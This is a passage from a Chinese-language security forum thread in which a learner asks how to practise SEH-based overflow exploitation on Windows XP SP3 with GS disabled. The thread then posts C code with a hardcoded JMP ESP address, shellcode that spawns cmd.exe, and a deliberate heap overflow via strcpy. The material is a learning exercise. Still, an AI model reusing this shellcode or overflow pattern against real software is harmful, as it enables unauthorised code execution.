能力值:
( LV2,RANK:10 )
|
-
-
2 楼
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
不懂SEH呀
我是用xp sp3 繁中 已經關閉了VS本身的GS 防overflow機製 不知道xp sp3下的seh有沒有另外一些安全加密?
我現在要最簡單的seh 來學習
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
#include <stdio.h>
#include <string.h>
#include <windows.h>
//1029F280
//7C86467B
//00415930
//0041599c
char* JMPESP="\x7B\x46\x86\x7C";
//char* JMPESP="\x7B\x46\x86\x7C";
unsigned char shellcode[]="\x8B\xEC\x68\x65\x78\x65\x20\x68\x63\x6D\x64\x2E\x36\x8D\x45\xF8\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\xB8\xFA\xCA\x81\x7C\xFF\xD0";
DWORD MyExceptionHandler(void)
{
printf("in except handler...\n");
ExitProcess(1);
return 0;
}
int main(int argv , char* argc){
char *buf2=malloc(20);
char *buf1=malloc(20);
long diff=0;
printf("buf1 address is : %p\n", buf1);
printf("buf2 address is : %p\n", buf2);
diff=(long)buf1-(long)buf2;
printf("buf1 - buf2 address is : %d\n", diff);
__try{
strcpy(buf2+108, "NOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOP");
strcat(buf2, shellcode);
}
__except(MyExceptionHandler())
{
printf("oops...\n");
}
// ((void (_stdcall*)())&shellcode[0])();
printf("buf1 is: %s\n", buf1);
printf("buf2 is: %s\n", buf2);
printf("here \n");
system("pause");
return 0;
}
如何調試呀??
|
|
|